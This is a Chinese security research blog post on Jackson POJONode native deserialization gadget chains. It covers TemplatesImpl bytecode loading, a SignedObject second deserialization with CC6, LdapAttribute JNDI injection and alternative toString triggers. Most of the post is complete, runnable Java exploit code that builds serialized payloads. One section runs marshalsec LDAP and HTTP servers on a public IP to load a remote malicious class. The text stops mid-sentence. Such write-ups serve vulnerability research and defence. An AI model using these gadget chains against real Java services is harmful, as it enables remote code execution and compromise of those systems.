前面简单了解了一下jackson反序列化,可以知道在序列化时会调用getter方法,而反序列化时会调用setter,但是都是有一定限制的,这里就来了解一下原生链的打法。
pom.xml文件中使用的依赖项如下:
<dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.13.3</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-core</artifactId> <version>2.13.3</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-annotations</artifactId> <version>2.13.3</version> </dependency>
测试环境:
-
• JDK8u71
前置
这里就先提供一个浅显易懂的反序列化代码,然后来看一下这里的反序列化流程,简单从一个序列化的角度来看一下这里的流程。
代码定义如下:
package jackson;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;import java.lang.Runtime;public class Main { public static void main(String[] args) throws Exception { Hacker hacker = new Hacker(); String ow = new ObjectMapper().writeValueAsString(hacker); System.out.println(ow); }}class Hacker { String name2 = "fupanc2"; public Hacker(){ } public String getName(){ try { Runtime.getRuntime().exec("open -a Calculator"); } catch (IOException e) { throw new RuntimeException(e); } return "fupanc"; } public void setName(String name){ this.name2 = name; }}
这里的代码运行,成功弹出计算机。打断点于writeValueAsString方法行,一直跟进,可以发现是在如下代码处成功调用的invoke()方法从而获取值:
可以自己去跟一下
——————
POJONode链
这个类位于com.fasterxml.jackson.databind.node.POJONode,它的toString链可以触发任意的getter方法。
前面都说了核心的思想,toString()方法调用任意的getter方法,那么对于getter方法,最经典的就是TemplatesImpl的利用。所以这里的思想还是想着toString链调用到getOutputProperties()方法。现在来跟一下看看怎么实现。
POJONode类文件本身是没有实现toString()方法的,具体的实现是在其父类的父类BaseJsonNode类中,代码内容如下:
public String toString() { return InternalNodeMapper.nodeToString(this); }
这里会调用InternalNodeMapper类的nodeToString()方法:
public static String nodeToString(JsonNode n) { try { return STD_WRITER.writeValueAsString(n); } catch (IOException e) { // should never occur throw new RuntimeException(e); } }
writeValueAsString()方法,太经典的jackson序列化调用的方法了,那么这里的漏洞点就是这里。先来看一下这里的STD_WRITER变量的定义,变量定义如下:
private final static JsonMapper JSON_MAPPER = new JsonMapper(); private final static ObjectWriter STD_WRITER = JSON_MAPPER.writer();
这里利用的是JsonMapper类,然后这里的STD_WRITER变量的定义是JsonMapper类的writer()方法的返回值,我们可以跟进一下这里的writer()方法的调用,发现这里JsonMapper其实并没有定义writer()方法,还是调用的其父类ObjectMapper类的writer()方法:
public ObjectWriter writer() { return _newWriter(getSerializationConfig()); }
然后调用了_newWriter()方法:
protected ObjectWriter _newWriter(SerializationConfig config) { return new ObjectWriter(this, config); }
这里就返回了一个ObjectWriter类实例。并且在后面进行了序列化,在序列化部分是通过调用writeValueAsString()方法来进行序列化的,可以跟进一下,内容如下:
public String writeValueAsString(Object value) throws JsonProcessingException { // alas, we have to pull the recycler directly here... SegmentedStringWriter sw = new SegmentedStringWriter(_generatorFactory._getBufferRecycler()); try { _writeValueAndClose(createGenerator(sw), value); } catch (JsonProcessingException e) { throw e; } catch (IOException e) { // shouldn't really happen, but is declared as possibility so: throw JsonMappingException.fromUnexpectedIOE(e); } return sw.getAndClear(); }
然后我发现,ObjectMapper的writeValueAsString()方法代码逻辑同上,也就是说明其实这里就是调用ObjectMapper来进行序列化,也就是和前面了解的差不多了。总的来说,就是这里的ObjectMapper是可以用来同时序列化和反序列化的,但是ObjectWriter只是用来序列化的,同时有一个ObjectReader来进行反序列化:
所以其实都是差不多的。
对于触发toString()方法,最经典的就是CC5了。开头已经找到了,那么对于POJONode类之间的构造该是什么呢,来看一下代码之间的联系:
我们可以知道这里对POJONode类调用toString()方法,其实就是对POJONode类进行一个json序列化,序列化,肯定会调用类的变量,从POJONode类的变量中,我们可以拿到如下内容:
是的,这个_value变量,并且这个变量的定义为Object,所以是可以利用的。那么这里还是利用TemplatesImpl类的getter方法,但是这里又涉及到了一个问题,也是前面rome链提到了,这里的getter的获取,该怎么定义?
而TemplatesImpl类有多个getter方法,是否有影响呢?先构造试试看:
package jackson;import javax.management.BadAttributeValueExpException;import com.fasterxml.jackson.databind.node.POJONode;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.io.FileOutputStream;import java.io.FileInputStream;import java.io.ObjectOutputStream;import java.io.ObjectInputStream;import java.lang.reflect.Field;public class Main { public static void main(String[] args) throws Exception { //使用javassist定义恶意代码 ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); POJONode node = new POJONode(templates); Object bad = new BadAttributeValueExpException(null); Field field = BadAttributeValueExpException.class.getDeclaredField("val"); field.setAccessible(true); field.set(bad, node); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser")); out.writeObject(bad); out.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser")); in.readObject(); in.close(); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}
虽然成功弹出计算机,但是代码运行会报错,并且调试可得这里并不是反序列化时弹出的计算机,而是在序列化就弹计算机了。简单跟一下,发现这里是由于BaseJsonNode类定义了writeReplace()方法,而如果序列化的类实现了writeReplace方法,那么将会在序列化过程中调用它进行检查,所以这里会出错,解决方法就是删去这个方法,idea上的源码不能直接删除,还可以重写这个类来调用,还可以通过javassist来在JVM中动态更改这个类的方法,最好是修改它的方法名,一劳永逸,最后的POC如下:
package jackson;import javax.management.BadAttributeValueExpException;import com.fasterxml.jackson.databind.node.POJONode;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.io.*;import java.lang.reflect.Field;public class Main { public static void main(String[] args) throws Exception { //使用javassist定义恶意代码 ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; //修改类方法 CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace"); ctMethod.setName("reset"); //也可以直接删去这个类 //ctClass.removeMethod(ctMethod); //加载修改后的类 ctClass.toClass(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); POJONode node = new POJONode(templates); //BadAttributeValueExpException bad = new BadAttributeValueExpException(null); Object bad = new BadAttributeValueExpException(null); Field field = bad.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(bad, node); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser")); out.writeObject(bad); out.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser")); in.readObject(); in.close(); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}
至于原先错误代码中为什么在序列化之前就会弹出计算机,可以自己去调调。
SignedObject链
其实就是套了一个二次反序列化链,这里本来就是可以调用getter方法,那么二次反序列化就逃不脱了。
不多赘述,这里还是二次反序列化一个CC6,POC如下:
package jackson;import javax.management.BadAttributeValueExpException;import com.fasterxml.jackson.databind.node.POJONode;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import java.util.HashMap;import java.util.Map;import java.io.FileOutputStream;import java.io.FileInputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.Runtime;import java.security.KeyPairGenerator;import java.security.KeyPair;import java.lang.reflect.Field;import java.security.Signature;import java.security.SignedObject;public class Main { public static void main(String[] args) throws Exception { //使用javassist定义恶意代码 ClassPool classPool = ClassPool.getDefault(); //修改类方法 CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace"); //也可以直接删去这个类 ctClass.removeMethod(ctMethod); ctClass.toClass(); Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)}; Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)}; Transformer chain = new ChainedTransformer(fakeTransformer); Map haha = new HashMap(); Map lazy = LazyMap.decorate(haha,chain); TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc"); HashMap hashMap = new HashMap(); hashMap.put(outerMap,"fupanc"); haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行 Field x = ChainedTransformer.class.getDeclaredField("iTransformers"); x.setAccessible(true); x.set(chain,chainpart); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject(hashMap,kp.getPrivate(),Signature.getInstance("DSA")); POJONode node = new POJONode(signedObject); BadAttributeValueExpException bad = new BadAttributeValueExpException(null); Field field = bad.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(bad, node); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser")); out.writeObject(bad); out.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser")); in.readObject(); in.close(); }}
————————
LdapAttribute链
这个类位于com.sun.jndi.ldap.LdapAttribute,这是一个default属性的类,不能直接导入,反射获取即可,这个类有getter方法可以进行jndi注入:
这里就从payload来学习一下这个的使用方法(有小tips,具体看后面怎么打),先说打法,再简单讲讲这里的过程,这里需要用到marshalsec工具,然后在自己的服务器上运行jar包来生成服务器:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://47.100.223.173:2333/#a" 1389
然后开一个python的http服务:
python3 -m http.server 2333
注意在python的http服务的当前目录下放弹计算机的class文件,这里就不多说了。
然后运行下面这个代码即可:
package jackson;import com.fasterxml.jackson.databind.node.POJONode;import javax.management.BadAttributeValueExpException;import javax.naming.CompositeName;import java.io.*;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import java.lang.reflect.Constructor;import java.lang.reflect.Field;public class Main { public static void main( String[] args ) throws Exception { //删去影响POJONode序列化的类 ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(ctMethod); ctClass.toClass(); String ldapCtxUrl = "ldap://47.100.223.173:1389/"; Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute"); Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(String.class); ldapAttributeClazzConstructor.setAccessible(true); Object ldapAttribute = ldapAttributeClazzConstructor.newInstance("fupanc"); Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL"); baseCtxUrlField.setAccessible(true); baseCtxUrlField.set(ldapAttribute, ldapCtxUrl); Field rdnField = ldapAttributeClazz.getDeclaredField("rdn"); rdnField.setAccessible(true); rdnField.set(ldapAttribute, new CompositeName("a//b")); POJONode jsonNodes = new POJONode(ldapAttribute); BadAttributeValueExpException exp = new BadAttributeValueExpException(null); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(exp,jsonNodes); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.ser")); oos.writeObject(exp); oos.close(); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.ser")); ois.readObject(); ois.close(); }}
这样就可以在反序列化时弹出计算机。
分析过程就简单说说吧,参考文章已经说的很清楚了:
上面主要的一个不同点就在于ldap的url没有写成ldap://xxxx/xxx,也就是后面没有加请求的codebase那些了,这里是因为payload中会的a//b会在请求时会自动加上一个a,如:
这个主要是由payload造成的,这里也就不多说了。所以这里需要用到marshalsec工具,个人理解就是直接返回一个路径让其访问拿class文件,不管是发送什么的请求,所以其实直接将a.class改成MyTest.class也是可以的。
最后有兴趣的可以再调试跟一下这里的反序列化过程。
其他触发toString的类
这里的知识点其实更多的算是一种绕过,在前面链子的学习中,我们调用toString()方法,都是利用的BadAttributeValueExpException来进行toString()方法的调用,但是如果这个类被band掉了呢,又该怎么利用,下面就来学习一下另外的可以调用toString()方法的类。
XStringForFSB
这个类位于com.sun.org.apache.xpath.internal.objects.XStringForFSB,其父类是XStirng。
其实这个和ROME链的HotSwappableTargetSource链有点关联,在那条ROME链中,是通过HotSwappableTargetSource调用到XString的的equals()方法,从而调用到任意类的toString()方法。
这里的XStringForFSB类的equals()方法同样可以调用到任何类的toString()方法:
所以还是可以作为一个中继链来调用到任意类的toString()方法。
这里的目的是调用到XStringForFSB类的equals()方法,最经典的就是还是Hashtbale了,也比较容易看,这里来尝试构造一下,使用两个HashMap,参考ROME链的equals链,主要的触发点在AbstractMap类的equals()方法:
老生常谈的方法了,简单构造一下,这里本来想选用的构造函数为:
反射获取就可,但是赋值完就丢出异常,表示不能为字符串,只能放弃。看另外一个构造函数:
super()赋值就是一直往上调用,其实就是给父类的父类XObject的变量赋值:
这个变量其实是XString链提到过的,但这里没啥用。从原先的链子中可以看出,都不会利用到这的变量,那么就尝试只将其能正常实例化,让AI给一个正常实例化的代码,经测试如下可用:
package jackson;import com.sun.org.apache.xml.internal.utils.FastStringBuffer;import com.sun.org.apache.xpath.internal.objects.XStringForFSB;public class Text { public static void main(String[] args) { FastStringBuffer fsb = new FastStringBuffer(); fsb.append("Hello, this is a sample string stored in FastStringBuffer!"); // 2. 定义起始位置和提取长度 int start = 7; // 从第8个字符开始(索引从0开始) int length = 10; // 提取10个字符 // 3. 创建 XStringForFSB 实例 XStringForFSB xString = new XStringForFSB(fsb, start, length); System.out.println(xString); }}
输出为:
this is a
输出为这个不要紧,只要它是这个类实例即可:
那么就可以尝试构造:
package jackson;import com.fasterxml.jackson.databind.node.POJONode;import javassist.*;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.util.HashMap;import java.util.Hashtable;import com.sun.org.apache.xml.internal.utils.FastStringBuffer;import com.sun.org.apache.xpath.internal.objects.XStringForFSB;import java.lang.reflect.Field;public class Main { public static void main(String[] args) throws Exception { //使用javassist定义恶意代码 ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; //修改类方法 CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace"); //也可以直接删去这个类 ctClass.removeMethod(ctMethod); ctClass.toClass(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); POJONode node = new POJONode(templates); FastStringBuffer fsb = new FastStringBuffer(); fsb.append("Hello, this is a sample string stored in FastStringBuffer!"); XStringForFSB stringForFSB = new XStringForFSB(fsb, 7, 10); HashMap hashMap1 = new HashMap(); hashMap1.put("yy",stringForFSB); hashMap1.put("zZ",node); HashMap hashMap2 = new HashMap(); hashMap2.put("yy",node); hashMap2.put("zZ",stringForFSB); Hashtable table = new Hashtable(); table.put(hashMap1,"1"); table.put(hashMap2,"2"); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}
成功弹出计算机,并且链子也是符合预期的,那么怎么只在反序列化时弹出里计算机呢?其实可以参考下面这条链子的绕过方法,但是这里忽略了一个非常重要的问题,FastStringBuffer不可被序列化,并且它还没有父类:
调不动了,留个坑点,应该是找到一个可以序列化的类,然后可以正常实例化 XStringForFSb 类即可。
TextAndMnemonicHashMap
这个类位于javax.swing.UIDefaults$TextAndMnemonicHashMap,也就是UIDefaults类的一个内部类,这个类的get()方法会触发toString()方法:
调用get的话,就不得不提到HashMap类的调用get()的方法:
同样是谈了很多次的这个方法,那么现在控制这里的m为TextAndMnemonicHashMap类,这里的key为POJONode类,但是这个TextAndMnemonicHashMap类是一个private内部类,不能直接导入,反射获取它的构造方法来进行创建即可,然后这里让被用来序列化的类为Hashtable,入口就可以参照CC7,先是一个简单的根据前面提出的要求来进行的构造:
package jackson;import com.fasterxml.jackson.databind.node.POJONode;import javassist.*;import java.util.HashMap;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Constructor;import java.util.Hashtable;import java.util.Map;import java.lang.reflect.Field;public class Main { public static void main(String[] args) throws Exception { //使用javassist定义恶意代码 ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; //修改类方法 CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace"); //也可以直接删去这个类 ctClass.removeMethod(ctMethod); ctClass.toClass(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); POJONode node = new POJONode(templates); Constructor constructor = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap").getDeclaredConstructor(); constructor.setAccessible(true); Map text = (Map)constructor.newInstance(); HashMap hashMap1 = new HashMap(); hashMap1.put(node,"1"); Hashtable table = new Hashtable(); table.put(hashMap1,"1"); table.put(text,"1"); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}
运行是没有弹出计算机的,那么现在就来考虑一下hash值相同的问题,可以直接用上面的代码来调试,重点是hash值的计算,就都打上断点来看一下这里的hash值计算情况:
先来看第一个放入的hashMap1的计算情况:
会调用HashMap类的hashCode()方法:
然后会调用到hashCode()方法:
也就是计算键值对的hash值然后进行抑或的一个操作,然后就顺利放进了这个键值对。
第二次put()是最重要的操作,会进行hash值是否相等等一系列计算,跟进一下,同样会进入到如下的代码:
如果存在键值对的话,就同样会进行哈希值的计算,这里也会调用这个的原因应该是因为TextAndMnemonicHashMap不存在hashCode()方法,但是其父类是HashMap类:
那么是否可以通过让其键值对都相同从而让hash值相同呢,直接在text中放入键值对就行了:
Map text = (Map)constructor.newInstance();text.put(node,"1");
再次调试,如下:
确实可以,那么现在就是考虑是否可以放入两个键值对的问题了。继续跟进,确实成功调用到了equals()方法,但是此时竟然报了如下的错误;
直接求值了?这里调用getKey()会对key进行一次调用toString()方法?跟进一下getKey()看看呢:
这里是直接返回值的操作,难道是因为这里的k是字符串类型?我这里传入的是一个类实例,所以会自动调用到这个类的toString()方法,导致了一次调用链的执行?但是又有时候弹计算机了有时候没弹(大部分时候没弹)
那么这里该怎么绕过呢?这里我想到了一个点,能否直接修改Hashtable中的存储表来进行利用,比如这里其实Hashtable和HashMap等的存储表都是通过他们的内置类Entry来实现的,可以跟进一下put()方法的后续代码:
跟进这个addEntry()方法:
就是一个实例化Node的操作。所以就是直接修改这个存储表,而存储表一般都是放在类的table变量中的:
但是这里的反射获取到相关类构造方法没搞出来,不然就只有一个一个变量获取到然后进行修改。并且其实这个直接修改在这也是没有什么大用的,就算在序列化前修改了,但是在反序列化时同样会报这个错误,同样会在getKey()方法处调用到toString()方法。
其实如果能稳定弹出计算机,这样也算是在反序列化时弹出计算机,只是不是根据链子进行的,但是这里不知道为什么有时候能弹有时候弹不了,只能放弃。
还是不行呀,看了一下参考文章,是用的TextAndMnemonicHashMap类来调用到equals()方法,正如前面谈到过的,这里的TextAndMnemonicHashMap类的父类是HashMap类,所以调用equals()方法时会一步一步往父类找,最后还是会调用到预期的equals()方法,但是其本质其实都是相同的,对于hash值相同的问题在前面也已经早就解决,当务之急还是看如何解决自动调用toString()方法的问题,想不出来,也没调出来,看一下网上现有的POC,理解了一下,然后改成自己常用的风格,如下:
package jackson;import com.fasterxml.jackson.databind.node.POJONode;import javassist.*;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.util.Hashtable;import java.util.Map;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;public class Main { public static void main(String[] args) throws Exception{ //使用javassist定义恶意代码 ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; //修改类方法 CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(ctMethod); ctClass.toClass(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); POJONode node = new POJONode(templates); Map tHashMap1 = (Map) getObject(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap")); Map tHashMap2 = (Map) getObject(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap")); tHashMap1.put(node, "123"); tHashMap2.put(node, "12"); Hashtable hashtable = new Hashtable(); hashtable.put(tHashMap1,1); hashtable.put(tHashMap2,1); tHashMap1.put(node, null); tHashMap2.put(node, null); setFieldValue(tHashMap1, "loadFactor", 0.75f); setFieldValue(tHashMap2, "loadFactor", 0.75f); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser")); out.writeObject(hashtable); out.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser")); in.readObject(); in.close(); } public static Object getObject(Class clazz) throws Exception{ Constructor constructor = clazz.getDeclaredConstructor(); constructor.setAccessible(true); return constructor.newInstance(); } public static void setFieldValue(Object obj, String key, Object val) throws Exception{ Field field = null; Class clazz = obj.getClass(); while (true){ try { field = clazz.getDeclaredField(key); break; } catch (NoSuchFieldException e){ clazz = clazz.getSuperclass();//非常有必要 } } field.setAccessible(true); field.set(obj, val); }}
这样就可以完全成功弹出计算机,并且在控制台会报错,简单看一下确实是按照预期的链子走的,重点的需要理解的是如下的代码:
Map tHashMap1 = (Map) getObject(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap")); Map tHashMap2 = (Map) getObject(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap")); tHashMap1.put(node, "123"); tHashMap2.put(node, "12"); Hashtable hashtable = new Hashtable(); hashtable.put(tHashMap1,1); hashtable.put(tHashMap2,1); tHashMap1.put(node, null); tHashMap2.put(node, null); setFieldValue(tHashMap1, "loadFactor", 0.75f); setFieldValue(tHashMap2, "loadFactor", 0.75f);
getObject()是自定义的获取构造器然后进行实例化的操作,重点是后面的内容,为什么要再次调用put()方法将value值变成null,简单从代码层面来理解,如下代码:
tHashMap1.put(node, "123"); tHashMap2.put(node, "12");
这里的两个类放入的键值对的值不同,那么对于后续的Hashtable调用时put()方法时的hash值肯定不同,也就不会调用equals()方法来进行比较,从而成功放入了键值对,那么后面两个“tHashMap“又再次调用put()方法是为了进行一个键值对的值的更新操作,所以在反序列化时的判断的hash值就会相同了,从而可以成功进行一次调用链的执行?从控制台的报错确实是对的,但是这里就不会在getKey()时报错吗?如果从这个方面来看的话,主要的不同点就是在如下代码:
setFieldValue(tHashMap1, "loadFactor", 0.75f); setFieldValue(tHashMap2, "loadFactor", 0.75f);
这里是对HashMap类中的loadFactor变量进行了修改,这里的setFieldValue()方法定义也值得学习,可以获取到父类中的变量并进行修改,扩大了利用面。所以为什么需要对这里进行修改呢,尝试一下将这里改成没有这个,发现还是成功弹出计算机!(但是原文章的原格式确实需要,这就与HashMap反序列化时的问题相关了,这里不多说)调试了一下这里的过程,理解到了为什么,这里就简单说说吧,在前面的代码构造中,我一直忘记了一个点:
这里需要value的值为null才能成功调用这个toString()方法,并且虽然反序列化时同样有这个异常错误,但是从参数看,这个值代表的还是我们想要的类,下面从前面的我自己构造的代码说明一下,贴一下前面“自认为是自动调用toString()方法造成错误“的点的代码:
package jackson;import com.fasterxml.jackson.databind.node.POJONode;import javassist.*;import java.util.HashMap;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Constructor;import java.util.Hashtable;import java.util.Map;import java.lang.reflect.Field;public class Main { public static void main(String[] args) throws Exception { //使用javassist定义恶意代码 ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; //修改类方法 CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace"); //也可以直接删去这个类 ctClass.removeMethod(ctMethod); ctClass.toClass(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); POJONode node = new POJONode(templates); Constructor constructor = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap").getDeclaredConstructor(); constructor.setAccessible(true); Map text = (Map)constructor.newInstance(); text.put(node,"1"); HashMap hashMap1 = new HashMap(); hashMap1.put(node,"1"); Hashtable table = new Hashtable(); table.put(hashMap1,"1"); table.put(text,"1"); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}
这里可以在TextAndMnemonicHashMap类的get()方法加一个断点:
调试原先的代码,发现在getKey()方法还是报异常错误,但是确实会调用到这里,并且看此时的key所代表的值:
就是正常的POJONode类,都是自己构造的,然后成功调用到了TextAndMnemonicHashMap类的get()方法:
从这个get()方法的逻辑,可以看出来是会先获取到对应key的value,只有这里的value为null,才能调用到toString()方法,也就是需要TextAndMnemonicHashMap类所对应的"HashMap"类的键值对的值为null,基于上面的情况,可以简单改一下代码:
